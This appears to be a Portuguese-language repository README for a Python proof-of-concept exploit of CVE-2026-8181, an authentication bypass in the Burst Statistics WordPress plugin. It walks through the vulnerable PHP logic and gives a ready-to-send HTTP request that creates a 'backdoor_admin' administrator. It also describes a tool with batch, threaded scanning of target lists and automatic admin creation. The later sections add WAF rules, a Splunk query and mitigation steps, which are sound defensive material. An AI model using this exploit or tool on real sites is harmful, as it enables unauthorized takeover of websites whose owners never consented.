
PoC em Python para CVE-2026-8181, uma bypass crítica de autenticação no plugin Burst Statistics para WordPress. Inclui automação de exploração, varredura em lote e criação de conta de administrador para testes de segurança autorizados.
[!CAUTION] ALERTA CRÍTICO: Esta vulnerabilidade permite que um atacante remoto não autenticado ignore a autenticação e obtenha privilégios totais de Administrador no site WordPress alvo simplesmente injetando um cabeçalho HTTP personalizado. Este CVE está atualmente sendo explorado ativamente na natureza.
CVE-2026-8181 é uma vulnerabilidade crítica de bypass de autenticação que afeta o plugin Burst Statistics para WordPress (versões 3.4.0 a 3.4.1.1). A falha reside na integração com o proxy MainWP do plugin. Devido à validação inadequada de senhas de aplicação durante o hook inicial plugins_loaded, o plugin concede incorretamente contexto administrativo a requisições da API REST que incluam o cabeçalho X-BurstMainWP: 1, mesmo que a requisição não possua credenciais válidas.
Isso transforma uma simples requisição HTTP não autenticada em uma tomada de controle administrativa completa, ignorando todos os mecanismos padrão de autenticação do WordPress.
Para entender como um simples cabeçalho concede as chaves do reino, precisamos dissecar a lógica PHP dentro do manipulador de autenticação do plugin.
A vulnerabilidade decorre de um ramo condicional mal tratado em includes/Frontend/class-mainwp-proxy.php dentro do método is_mainwp_authenticated().
init() em plugins_loaded com prioridade 9. Isso é muito cedo no ciclo de vida do WordPress.X-BurstMainWP: 1, has_admin_access() delega a autenticação para is_mainwp_authenticated().Authorization e encaminha as credenciais para a função central do WordPress wp_authenticate_application_password().application_password_is_api_request como true (devido à execução precoce do hook), a função central retorna null em vez de um objeto WP_Error.is_wp_error( $user ). Como null não é um WP_Error, a proteção falha.wp_set_current_user() usando o nome de usuário fornecido pelo atacante, elevando instantaneamente a requisição para contexto administrativo completo.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
Esta seção é para Red Teamers e Testadores de Penetração Autorizados.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Se bloqueado, use o truque do arquivo de autor: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null e promove a requisição ao contexto de Administrador. O novo usuário administrador é criado.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Ressalva Ambiental: Este exploit requer que o cabeçalho
Authorizationchegue ao PHP.
- Nginx / LiteSpeed / Apache com Permalinks Amigáveis: O cabeçalho é encaminhado. O exploit OBTÉM SUCESSO.
- Apache com Permalinks Simples (Padrão): O cabeçalho é silenciosamente removido pelo servidor web. O exploit FALHA.
Esta seção é para Blue Teamers, Analistas de SOC e Administradores de Sistemas.
Bloqueie ou monitore o cabeçalho específico na borda.
Regra ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Regra Personalizada do Cloudflare WAF:
(http.request.headers["X-BurstMainWP"] eq "1")
Pesquise nos logs do seu servidor web pela presença do cabeçalho combinado com criação de usuário via API REST.
Consulta Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Se suspeitar de uma violação, procure por estes artefatos pós-exploração:
wp_users em busca de usuários criados via API REST com a função administrator.wp-content/plugins/ por uploads não autorizados (muitas vezes webshells disfarçadas de plugins legítimos).wp-content/themes/ ou arquivos principais.[!IMPORTANT] Ação Imediata Necessária: Se você estiver executando uma versão vulnerável, aplique uma das seguintes mitigações imediatamente.
| Prioridade | Ação | Detalhes |
|---|---|---|
| P0 | Atualize o Plugin | Atualize o Burst Statistics para a versão 3.4.2 ou superior imediatamente através do painel do WordPress. |
| P1 | Correção Virtual via WAF | Se não puder atualizar imediatamente, implante as regras de WAF (acima) para bloquear o cabeçalho X-BurstMainWP. |
| P2 | Restrinja Enumeração de Usuários | Use um plugin de segurança ou regras .htaccess para bloquear o acesso público a /wp-json/wp/v2/users e /?author=*. |
| P3 | Audite Usuários e Arquivos | Execute um script para auditar contas de administrador criadas recentemente e revogue qualquer acesso não autorizado. Verifique por webshells. |
Este repositório inclui CVE-2026-8181.py, uma ferramenta de automação em Python para verificar a vulnerabilidade em ambientes de laboratório autorizados.
| Funcionalidade | Descrição |
|---|---|
| 🎯 Alvo Único | Escaneie um site específico usando a flag -u. |
| 📦 Operações em Lote | Alimente uma lista de alvos via -f targets.txt (suporta # para comentários). |
| ⚡ Concorrência | Acelere escaneamentos em lote com workers em threads (-j N). |
| 💾 Saída Inteligente | -o file.txt para um relatório combinado. Em modo lote, apenas exploits bem-sucedidos são registrados. |
| 📂 Dumps por Host | Use --output-dir para salvar arquivos individuais .txt para cada host comprometido. |
| 👤 Criação de Admin | Passe --create-user para provisionar automaticamente uma nova conta de administrador via API REST. |
| 🔓 TLS de Laboratório | Use -k para ignorar erros de certificado SSL (estritamente para ambientes de laboratório locais/confiáveis). |
# 1. Instale as dependências
pip3 install requests urllib3
# 2. Reconhecimento em Site Único e Criação Automática de Novo Admin
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. Escaneamento em Lote com Arquivo de Sucessos Combinado
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. Escaneamento em Lote com Relatórios Individuais por Host
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS.
As informações fornecidas neste repositório são para fins educacionais, pesquisa de segurança e testes de penetração autorizados. Explorar vulnerabilidades contra sistemas sem permissão explícita e por escrito do proprietário do sistema é ilegal e viola leis cibernéticas internacionais.
Os autores e contribuidores deste repositório não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido, danos ou consequências legais decorrentes do uso desta ferramenta ou informação. Sempre hackeie de forma responsável e ética.